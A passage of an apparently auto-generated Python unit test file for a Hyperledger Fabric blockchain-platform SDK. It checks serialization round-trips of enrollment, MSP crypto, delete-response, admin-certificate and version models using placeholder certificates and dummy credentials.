msp_crypto_comp_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_comp_model['tls_key'] = 'testString'
msp_crypto_comp_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['client_auth'] = client_auth_model
msp_crypto_ca_model = {} # MspCryptoCa
msp_crypto_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_ca_model['ca_intermediate_certs'] = ['testString']
crypto_object_msp_model = {} # CryptoObjectMsp
crypto_object_msp_model['component'] = msp_crypto_comp_model
crypto_object_msp_model['ca'] = msp_crypto_ca_model
crypto_object_msp_model['tlsca'] = msp_crypto_ca_model
# Construct a json representation of a CryptoObject model
crypto_object_model_json = {}
crypto_object_model_json['enrollment'] = crypto_object_enrollment_model
crypto_object_model_json['msp'] = crypto_object_msp_model
# Construct a model instance of CryptoObject by calling from_dict on the json representation
crypto_object_model = CryptoObject.from_dict(crypto_object_model_json)
assert crypto_object_model != False
# Construct a model instance of CryptoObject by calling from_dict on the json representation
crypto_object_model_dict = CryptoObject.from_dict(crypto_object_model_json).__dict__
crypto_object_model2 = CryptoObject(**crypto_object_model_dict)
# Verify the model instances are equivalent
assert crypto_object_model == crypto_object_model2
# Convert model instance back to dict and verify no loss of data
crypto_object_model_json2 = crypto_object_model.to_dict()
assert crypto_object_model_json2 == crypto_object_model_json
class TestCryptoObjectEnrollment():
"""
Test Class for CryptoObjectEnrollment
"""
def test_crypto_object_enrollment_serialization(self):
"""
Test serialization/deserialization for CryptoObjectEnrollment
"""
# Construct dict forms of any model objects needed in order to build this model.
crypto_enrollment_component_model = {} # CryptoEnrollmentComponent
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
crypto_object_enrollment_ca_model = {} # CryptoObjectEnrollmentCa
crypto_object_enrollment_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_ca_model['port'] = 7054
crypto_object_enrollment_ca_model['name'] = 'ca'
crypto_object_enrollment_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_ca_model['enroll_id'] = 'admin'
crypto_object_enrollment_ca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model = {} # CryptoObjectEnrollmentTlsca
crypto_object_enrollment_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_tlsca_model['port'] = 7054
crypto_object_enrollment_tlsca_model['name'] = 'tlsca'
crypto_object_enrollment_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_tlsca_model['enroll_id'] = 'admin'
crypto_object_enrollment_tlsca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model['csr_hosts'] = ['testString']
# Construct a json representation of a CryptoObjectEnrollment model
crypto_object_enrollment_model_json = {}
crypto_object_enrollment_model_json['component'] = crypto_enrollment_component_model
crypto_object_enrollment_model_json['ca'] = crypto_object_enrollment_ca_model
crypto_object_enrollment_model_json['tlsca'] = crypto_object_enrollment_tlsca_model
# Construct a model instance of CryptoObjectEnrollment by calling from_dict on the json representation
crypto_object_enrollment_model = CryptoObjectEnrollment.from_dict(crypto_object_enrollment_model_json)
assert crypto_object_enrollment_model != False
# Construct a model instance of CryptoObjectEnrollment by calling from_dict on the json representation
crypto_object_enrollment_model_dict = CryptoObjectEnrollment.from_dict(crypto_object_enrollment_model_json).__dict__
crypto_object_enrollment_model2 = CryptoObjectEnrollment(**crypto_object_enrollment_model_dict)
# Verify the model instances are equivalent
assert crypto_object_enrollment_model == crypto_object_enrollment_model2
# Convert model instance back to dict and verify no loss of data
crypto_object_enrollment_model_json2 = crypto_object_enrollment_model.to_dict()
assert crypto_object_enrollment_model_json2 == crypto_object_enrollment_model_json
class TestCryptoObjectEnrollmentCa():
"""
Test Class for CryptoObjectEnrollmentCa
"""
def test_crypto_object_enrollment_ca_serialization(self):
"""
Test serialization/deserialization for CryptoObjectEnrollmentCa
"""
# Construct a json representation of a CryptoObjectEnrollmentCa model
crypto_object_enrollment_ca_model_json = {}
crypto_object_enrollment_ca_model_json['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_ca_model_json['port'] = 7054
crypto_object_enrollment_ca_model_json['name'] = 'ca'
crypto_object_enrollment_ca_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_ca_model_json['enroll_id'] = 'admin'
crypto_object_enrollment_ca_model_json['enroll_secret'] = 'password'
# Construct a model instance of CryptoObjectEnrollmentCa by calling from_dict on the json representation
crypto_object_enrollment_ca_model = CryptoObjectEnrollmentCa.from_dict(crypto_object_enrollment_ca_model_json)
assert crypto_object_enrollment_ca_model != False
# Construct a model instance of CryptoObjectEnrollmentCa by calling from_dict on the json representation
crypto_object_enrollment_ca_model_dict = CryptoObjectEnrollmentCa.from_dict(crypto_object_enrollment_ca_model_json).__dict__
crypto_object_enrollment_ca_model2 = CryptoObjectEnrollmentCa(**crypto_object_enrollment_ca_model_dict)
# Verify the model instances are equivalent
assert crypto_object_enrollment_ca_model == crypto_object_enrollment_ca_model2
# Convert model instance back to dict and verify no loss of data
crypto_object_enrollment_ca_model_json2 = crypto_object_enrollment_ca_model.to_dict()
assert crypto_object_enrollment_ca_model_json2 == crypto_object_enrollment_ca_model_json
class TestCryptoObjectEnrollmentTlsca():
"""
Test Class for CryptoObjectEnrollmentTlsca
"""
def test_crypto_object_enrollment_tlsca_serialization(self):
"""
Test serialization/deserialization for CryptoObjectEnrollmentTlsca
"""
# Construct a json representation of a CryptoObjectEnrollmentTlsca model
crypto_object_enrollment_tlsca_model_json = {}
crypto_object_enrollment_tlsca_model_json['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_tlsca_model_json['port'] = 7054
crypto_object_enrollment_tlsca_model_json['name'] = 'tlsca'
crypto_object_enrollment_tlsca_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_tlsca_model_json['enroll_id'] = 'admin'
crypto_object_enrollment_tlsca_model_json['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model_json['csr_hosts'] = ['testString']
# Construct a model instance of CryptoObjectEnrollmentTlsca by calling from_dict on the json representation
crypto_object_enrollment_tlsca_model = CryptoObjectEnrollmentTlsca.from_dict(crypto_object_enrollment_tlsca_model_json)
assert crypto_object_enrollment_tlsca_model != False
# Construct a model instance of CryptoObjectEnrollmentTlsca by calling from_dict on the json representation
crypto_object_enrollment_tlsca_model_dict = CryptoObjectEnrollmentTlsca.from_dict(crypto_object_enrollment_tlsca_model_json).__dict__
crypto_object_enrollment_tlsca_model2 = CryptoObjectEnrollmentTlsca(**crypto_object_enrollment_tlsca_model_dict)
# Verify the model instances are equivalent
assert crypto_object_enrollment_tlsca_model == crypto_object_enrollment_tlsca_model2
# Convert model instance back to dict and verify no loss of data
crypto_object_enrollment_tlsca_model_json2 = crypto_object_enrollment_tlsca_model.to_dict()
assert crypto_object_enrollment_tlsca_model_json2 == crypto_object_enrollment_tlsca_model_json
class TestCryptoObjectMsp():
"""
Test Class for CryptoObjectMsp
"""
def test_crypto_object_msp_serialization(self):
"""
Test serialization/deserialization for CryptoObjectMsp
"""
# Construct dict forms of any model objects needed in order to build this model.
client_auth_model = {} # ClientAuth
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
msp_crypto_comp_model = {} # MspCryptoComp
msp_crypto_comp_model['ekey'] = 'testString'
msp_crypto_comp_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_comp_model['tls_key'] = 'testString'
msp_crypto_comp_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['client_auth'] = client_auth_model
msp_crypto_ca_model = {} # MspCryptoCa
msp_crypto_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a json representation of a CryptoObjectMsp model
crypto_object_msp_model_json = {}
crypto_object_msp_model_json['component'] = msp_crypto_comp_model
crypto_object_msp_model_json['ca'] = msp_crypto_ca_model
crypto_object_msp_model_json['tlsca'] = msp_crypto_ca_model
# Construct a model instance of CryptoObjectMsp by calling from_dict on the json representation
crypto_object_msp_model = CryptoObjectMsp.from_dict(crypto_object_msp_model_json)
assert crypto_object_msp_model != False
# Construct a model instance of CryptoObjectMsp by calling from_dict on the json representation
crypto_object_msp_model_dict = CryptoObjectMsp.from_dict(crypto_object_msp_model_json).__dict__
crypto_object_msp_model2 = CryptoObjectMsp(**crypto_object_msp_model_dict)
# Verify the model instances are equivalent
assert crypto_object_msp_model == crypto_object_msp_model2
# Convert model instance back to dict and verify no loss of data
crypto_object_msp_model_json2 = crypto_object_msp_model.to_dict()
assert crypto_object_msp_model_json2 == crypto_object_msp_model_json
class TestDeleteAllNotificationsResponse():
"""
Test Class for DeleteAllNotificationsResponse
"""
def test_delete_all_notifications_response_serialization(self):
"""
Test serialization/deserialization for DeleteAllNotificationsResponse
"""
# Construct a json representation of a DeleteAllNotificationsResponse model
delete_all_notifications_response_model_json = {}
delete_all_notifications_response_model_json['message'] = 'ok'
delete_all_notifications_response_model_json['details'] = 'deleted 101 notification(s)'
# Construct a model instance of DeleteAllNotificationsResponse by calling from_dict on the json representation
delete_all_notifications_response_model = DeleteAllNotificationsResponse.from_dict(delete_all_notifications_response_model_json)
assert delete_all_notifications_response_model != False
# Construct a model instance of DeleteAllNotificationsResponse by calling from_dict on the json representation
delete_all_notifications_response_model_dict = DeleteAllNotificationsResponse.from_dict(delete_all_notifications_response_model_json).__dict__
delete_all_notifications_response_model2 = DeleteAllNotificationsResponse(**delete_all_notifications_response_model_dict)
# Verify the model instances are equivalent
assert delete_all_notifications_response_model == delete_all_notifications_response_model2
# Convert model instance back to dict and verify no loss of data
delete_all_notifications_response_model_json2 = delete_all_notifications_response_model.to_dict()
assert delete_all_notifications_response_model_json2 == delete_all_notifications_response_model_json
class TestDeleteAllSessionsResponse():
"""
Test Class for DeleteAllSessionsResponse
"""
def test_delete_all_sessions_response_serialization(self):
"""
Test serialization/deserialization for DeleteAllSessionsResponse
"""
# Construct a json representation of a DeleteAllSessionsResponse model
delete_all_sessions_response_model_json = {}
delete_all_sessions_response_model_json['message'] = 'delete submitted'
# Construct a model instance of DeleteAllSessionsResponse by calling from_dict on the json representation
delete_all_sessions_response_model = DeleteAllSessionsResponse.from_dict(delete_all_sessions_response_model_json)
assert delete_all_sessions_response_model != False
# Construct a model instance of DeleteAllSessionsResponse by calling from_dict on the json representation
delete_all_sessions_response_model_dict = DeleteAllSessionsResponse.from_dict(delete_all_sessions_response_model_json).__dict__
delete_all_sessions_response_model2 = DeleteAllSessionsResponse(**delete_all_sessions_response_model_dict)
# Verify the model instances are equivalent
assert delete_all_sessions_response_model == delete_all_sessions_response_model2
# Convert model instance back to dict and verify no loss of data
delete_all_sessions_response_model_json2 = delete_all_sessions_response_model.to_dict()
assert delete_all_sessions_response_model_json2 == delete_all_sessions_response_model_json
class TestDeleteComponentResponse():
"""
Test Class for DeleteComponentResponse
"""
def test_delete_component_response_serialization(self):
"""
Test serialization/deserialization for DeleteComponentResponse
"""
# Construct a json representation of a DeleteComponentResponse model
delete_component_response_model_json = {}
delete_component_response_model_json['message'] = 'deleted'
delete_component_response_model_json['type'] = 'fabric-peer'
delete_component_response_model_json['id'] = 'component1'
delete_component_response_model_json['display_name'] = 'My Peer'
# Construct a model instance of DeleteComponentResponse by calling from_dict on the json representation
delete_component_response_model = DeleteComponentResponse.from_dict(delete_component_response_model_json)
assert delete_component_response_model != False
# Construct a model instance of DeleteComponentResponse by calling from_dict on the json representation
delete_component_response_model_dict = DeleteComponentResponse.from_dict(delete_component_response_model_json).__dict__
delete_component_response_model2 = DeleteComponentResponse(**delete_component_response_model_dict)
# Verify the model instances are equivalent
assert delete_component_response_model == delete_component_response_model2
# Convert model instance back to dict and verify no loss of data
delete_component_response_model_json2 = delete_component_response_model.to_dict()
assert delete_component_response_model_json2 == delete_component_response_model_json
class TestDeleteMultiComponentsResponse():
"""
Test Class for DeleteMultiComponentsResponse
"""
def test_delete_multi_components_response_serialization(self):
"""
Test serialization/deserialization for DeleteMultiComponentsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
delete_component_response_model = {} # DeleteComponentResponse
delete_component_response_model['message'] = 'deleted'
delete_component_response_model['type'] = 'fabric-peer'
delete_component_response_model['id'] = 'component1'
delete_component_response_model['display_name'] = 'My Peer'
# Construct a json representation of a DeleteMultiComponentsResponse model
delete_multi_components_response_model_json = {}
delete_multi_components_response_model_json['deleted'] = [delete_component_response_model]
# Construct a model instance of DeleteMultiComponentsResponse by calling from_dict on the json representation
delete_multi_components_response_model = DeleteMultiComponentsResponse.from_dict(delete_multi_components_response_model_json)
assert delete_multi_components_response_model != False
# Construct a model instance of DeleteMultiComponentsResponse by calling from_dict on the json representation
delete_multi_components_response_model_dict = DeleteMultiComponentsResponse.from_dict(delete_multi_components_response_model_json).__dict__
delete_multi_components_response_model2 = DeleteMultiComponentsResponse(**delete_multi_components_response_model_dict)
# Verify the model instances are equivalent
assert delete_multi_components_response_model == delete_multi_components_response_model2
# Convert model instance back to dict and verify no loss of data
delete_multi_components_response_model_json2 = delete_multi_components_response_model.to_dict()
assert delete_multi_components_response_model_json2 == delete_multi_components_response_model_json
class TestDeleteSignatureCollectionResponse():
"""
Test Class for DeleteSignatureCollectionResponse
"""
def test_delete_signature_collection_response_serialization(self):
"""
Test serialization/deserialization for DeleteSignatureCollectionResponse
"""
# Construct a json representation of a DeleteSignatureCollectionResponse model
delete_signature_collection_response_model_json = {}
delete_signature_collection_response_model_json['message'] = 'ok'
delete_signature_collection_response_model_json['tx_id'] = 'abcde'
# Construct a model instance of DeleteSignatureCollectionResponse by calling from_dict on the json representation
delete_signature_collection_response_model = DeleteSignatureCollectionResponse.from_dict(delete_signature_collection_response_model_json)
assert delete_signature_collection_response_model != False
# Construct a model instance of DeleteSignatureCollectionResponse by calling from_dict on the json representation
delete_signature_collection_response_model_dict = DeleteSignatureCollectionResponse.from_dict(delete_signature_collection_response_model_json).__dict__
delete_signature_collection_response_model2 = DeleteSignatureCollectionResponse(**delete_signature_collection_response_model_dict)
# Verify the model instances are equivalent
assert delete_signature_collection_response_model == delete_signature_collection_response_model2
# Convert model instance back to dict and verify no loss of data
delete_signature_collection_response_model_json2 = delete_signature_collection_response_model.to_dict()
assert delete_signature_collection_response_model_json2 == delete_signature_collection_response_model_json
class TestEditAdminCertsResponse():
"""
Test Class for EditAdminCertsResponse
"""
def test_edit_admin_certs_response_serialization(self):
"""
Test serialization/deserialization for EditAdminCertsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
edit_admin_certs_response_set_admin_certs_item_model = {} # EditAdminCertsResponseSetAdminCertsItem
edit_admin_certs_response_set_admin_certs_item_model['base_64_pem'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
edit_admin_certs_response_set_admin_certs_item_model['issuer'] = '/C=US/ST=North Carolina/O=Hyperledger/OU=Fabric/CN=fabric-ca-server'
edit_admin_certs_response_set_admin_certs_item_model['not_after_ts'] = 1597770420000
edit_admin_certs_response_set_admin_certs_item_model['not_before_ts'] = 1566234120000
edit_admin_certs_response_set_admin_certs_item_model['serial_number_hex'] = '649a1206fd0bc8be994886dd715cecb0a7a21276'
edit_admin_certs_response_set_admin_certs_item_model['signature_algorithm'] = 'SHA256withECDSA'
edit_admin_certs_response_set_admin_certs_item_model['subject'] = '/OU=client/CN=admin'
edit_admin_certs_response_set_admin_certs_item_model['X509_version'] = 3
edit_admin_certs_response_set_admin_certs_item_model['time_left'] = '10 hrs'
# Construct a json representation of a EditAdminCertsResponse model
edit_admin_certs_response_model_json = {}
edit_admin_certs_response_model_json['changes_made'] = 1
edit_admin_certs_response_model_json['set_admin_certs'] = [edit_admin_certs_response_set_admin_certs_item_model]
# Construct a model instance of EditAdminCertsResponse by calling from_dict on the json representation
edit_admin_certs_response_model = EditAdminCertsResponse.from_dict(edit_admin_certs_response_model_json)
assert edit_admin_certs_response_model != False
# Construct a model instance of EditAdminCertsResponse by calling from_dict on the json representation
edit_admin_certs_response_model_dict = EditAdminCertsResponse.from_dict(edit_admin_certs_response_model_json).__dict__
edit_admin_certs_response_model2 = EditAdminCertsResponse(**edit_admin_certs_response_model_dict)
# Verify the model instances are equivalent
assert edit_admin_certs_response_model == edit_admin_certs_response_model2
# Convert model instance back to dict and verify no loss of data
edit_admin_certs_response_model_json2 = edit_admin_certs_response_model.to_dict()
assert edit_admin_certs_response_model_json2 == edit_admin_certs_response_model_json
class TestEditAdminCertsResponseSetAdminCertsItem():
"""
Test Class for EditAdminCertsResponseSetAdminCertsItem
"""
def test_edit_admin_certs_response_set_admin_certs_item_serialization(self):
"""
Test serialization/deserialization for EditAdminCertsResponseSetAdminCertsItem
"""
# Construct a json representation of a EditAdminCertsResponseSetAdminCertsItem model
edit_admin_certs_response_set_admin_certs_item_model_json = {}
edit_admin_certs_response_set_admin_certs_item_model_json['base_64_pem'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
edit_admin_certs_response_set_admin_certs_item_model_json['issuer'] = '/C=US/ST=North Carolina/O=Hyperledger/OU=Fabric/CN=fabric-ca-server'
edit_admin_certs_response_set_admin_certs_item_model_json['not_after_ts'] = 1597770420000
edit_admin_certs_response_set_admin_certs_item_model_json['not_before_ts'] = 1566234120000
edit_admin_certs_response_set_admin_certs_item_model_json['serial_number_hex'] = '649a1206fd0bc8be994886dd715cecb0a7a21276'
edit_admin_certs_response_set_admin_certs_item_model_json['signature_algorithm'] = 'SHA256withECDSA'
edit_admin_certs_response_set_admin_certs_item_model_json['subject'] = '/OU=client/CN=admin'
edit_admin_certs_response_set_admin_certs_item_model_json['X509_version'] = 3
edit_admin_certs_response_set_admin_certs_item_model_json['time_left'] = '10 hrs'
# Construct a model instance of EditAdminCertsResponseSetAdminCertsItem by calling from_dict on the json representation
edit_admin_certs_response_set_admin_certs_item_model = EditAdminCertsResponseSetAdminCertsItem.from_dict(edit_admin_certs_response_set_admin_certs_item_model_json)
assert edit_admin_certs_response_set_admin_certs_item_model != False
# Construct a model instance of EditAdminCertsResponseSetAdminCertsItem by calling from_dict on the json representation
edit_admin_certs_response_set_admin_certs_item_model_dict = EditAdminCertsResponseSetAdminCertsItem.from_dict(edit_admin_certs_response_set_admin_certs_item_model_json).__dict__
edit_admin_certs_response_set_admin_certs_item_model2 = EditAdminCertsResponseSetAdminCertsItem(**edit_admin_certs_response_set_admin_certs_item_model_dict)
# Verify the model instances are equivalent
assert edit_admin_certs_response_set_admin_certs_item_model == edit_admin_certs_response_set_admin_certs_item_model2
# Convert model instance back to dict and verify no loss of data
edit_admin_certs_response_set_admin_certs_item_model_json2 = edit_admin_certs_response_set_admin_certs_item_model.to_dict()
assert edit_admin_certs_response_set_admin_certs_item_model_json2 == edit_admin_certs_response_set_admin_certs_item_model_json
class TestEditLogSettingsBody():
"""
Test Class for EditLogSettingsBody
"""
def test_edit_log_settings_body_serialization(self):
"""
Test serialization/deserialization for EditLogSettingsBody
"""
# Construct dict forms of any model objects needed in order to build this model.
logging_settings_client_model = {} # LoggingSettingsClient
logging_settings_client_model['enabled'] = True
logging_settings_client_model['level'] = 'silly'
logging_settings_client_model['unique_name'] = False
logging_settings_server_model = {} # LoggingSettingsServer
logging_settings_server_model['enabled'] = True
logging_settings_server_model['level'] = 'silly'
logging_settings_server_model['unique_name'] = False
# Construct a json representation of a EditLogSettingsBody model
edit_log_settings_body_model_json = {}
edit_log_settings_body_model_json['client'] = logging_settings_client_model
edit_log_settings_body_model_json['server'] = logging_settings_server_model
# Construct a model instance of EditLogSettingsBody by calling from_dict on the json representation
edit_log_settings_body_model = EditLogSettingsBody.from_dict(edit_log_settings_body_model_json)
assert edit_log_settings_body_model != False
# Construct a model instance of EditLogSettingsBody by calling from_dict on the json representation
edit_log_settings_body_model_dict = EditLogSettingsBody.from_dict(edit_log_settings_body_model_json).__dict__
edit_log_settings_body_model2 = EditLogSettingsBody(**edit_log_settings_body_model_dict)
# Verify the model instances are equivalent
assert edit_log_settings_body_model == edit_log_settings_body_model2
# Convert model instance back to dict and verify no loss of data
edit_log_settings_body_model_json2 = edit_log_settings_body_model.to_dict()
assert edit_log_settings_body_model_json2 == edit_log_settings_body_model_json
class TestEditSettingsBodyInactivityTimeouts():
"""
Test Class for EditSettingsBodyInactivityTimeouts
"""
def test_edit_settings_body_inactivity_timeouts_serialization(self):
"""
Test serialization/deserialization for EditSettingsBodyInactivityTimeouts
"""
# Construct a json representation of a EditSettingsBodyInactivityTimeouts model
edit_settings_body_inactivity_timeouts_model_json = {}
edit_settings_body_inactivity_timeouts_model_json['enabled'] = False
edit_settings_body_inactivity_timeouts_model_json['max_idle_time'] = 90000
# Construct a model instance of EditSettingsBodyInactivityTimeouts by calling from_dict on the json representation
edit_settings_body_inactivity_timeouts_model = EditSettingsBodyInactivityTimeouts.from_dict(edit_settings_body_inactivity_timeouts_model_json)
assert edit_settings_body_inactivity_timeouts_model != False
# Construct a model instance of EditSettingsBodyInactivityTimeouts by calling from_dict on the json representation
edit_settings_body_inactivity_timeouts_model_dict = EditSettingsBodyInactivityTimeouts.from_dict(edit_settings_body_inactivity_timeouts_model_json).__dict__
edit_settings_body_inactivity_timeouts_model2 = EditSettingsBodyInactivityTimeouts(**edit_settings_body_inactivity_timeouts_model_dict)
# Verify the model instances are equivalent
assert edit_settings_body_inactivity_timeouts_model == edit_settings_body_inactivity_timeouts_model2
# Convert model instance back to dict and verify no loss of data
edit_settings_body_inactivity_timeouts_model_json2 = edit_settings_body_inactivity_timeouts_model.to_dict()
assert edit_settings_body_inactivity_timeouts_model_json2 == edit_settings_body_inactivity_timeouts_model_json
class TestFabVersionObject():
"""
Test Class for FabVersionObject
"""
def test_fab_version_object_serialization(self):
"""
Test serialization/deserialization for FabVersionObject
"""
# Construct a json representation of a FabVersionObject model
fab_version_object_model_json = {}
fab_version_object_model_json['default'] = True
fab_version_object_model_json['version'] = '1.4.6-2'
fab_version_object_model_json['image'] = { 'foo': 'bar' }
# Construct a model instance of FabVersionObject by calling from_dict on the json representation
fab_version_object_model = FabVersionObject.from_dict(fab_version_object_model_json)
assert fab_version_object_model != False
# Construct a model instance of FabVersionObject by calling from_dict on the json representation
fab_version_object_model_dict = FabVersionObject.from_dict(fab_version_object_model_json).__dict__
fab_version_object_model2 = FabVersionObject(**fab_version_object_model_dict)
# Verify the model instances are equivalent
assert fab_version_object_model == fab_version_object_model2
# Convert model instance back to dict and verify no loss of data
fab_version_object_model_json2 = fab_version_object_model.to_dict()
assert fab_version_object_model_json2 == fab_version_object_model_json
class TestFabricVersionDictionary():
"""
Test Class for FabricVersionDictionary
"""
def test_fabric_version_dictionary_serialization(self):
"""
Test serialization/deserialization for FabricVersionDictionary
"""
# Construct dict forms of any model objects needed in order to build this model.
fab_version_object_model = {} # FabVersionObject
fab_version_object_model['default'] = True
fab_version_object_model['version'] = '1.4.6-2'
fab_version_object_model['image'] = { 'foo': 'bar' }
# Construct a json representation of a FabricVersionDictionary model
fabric_version_dictionary_model_json = {}
fabric_version_dictionary_model_json['1.4.6-2'] = fab_version_object_model
fabric_version_dictionary_model_json['2.1.0-0'] = fab_version_object_model
fabric_version_dictionary_model_json['foo'] = { 'foo': 'bar' }
# Construct a model instance of FabricVersionDictionary by calling from_dict on the json representation
fabric_version_dictionary_model = FabricVersionDictionary.from_dict(fabric_version_dictionary_model_json)
assert fabric_version_dictionary_model != False
# Construct a model instance of FabricVersionDictionary by calling from_dict on the json representation
fabric_version_dictionary_model_dict = FabricVersionDictionary.from_dict(fabric_version_dictionary_model_json).__dict__
fabric_version_dictionary_model2 = FabricVersionDictionary(**fabric_version_dictionary_model_dict)
# Verify the model instances are equivalent
assert fabric_version_dictionary_model == fabric_version_dictionary_model2
# Convert model instance back to dict and verify no loss of data
fabric_version_dictionary_model_json2 = fabric_version_dictionary_model.to_dict()
assert fabric_version_dictionary_model_json2 == fabric_version_dictionary_model_json
class TestGenericComponentResponse():
"""
Test Class for GenericComponentResponse
"""
def test_generic_component_response_serialization(self):
"""
Test serialization/deserialization for GenericComponentResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_component_response_msp_ca_model = {} # GenericComponentResponseMspCa
generic_component_response_msp_ca_model['name'] = 'org1CA'
generic_component_response_msp_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_tlsca_model = {} # GenericComponentResponseMspTlsca
generic_component_response_msp_tlsca_model['name'] = 'org1tlsCA'
generic_component_response_msp_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_component_model = {} # GenericComponentResponseMspComponent
generic_component_response_msp_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_model = {} # GenericComponentResponseMsp
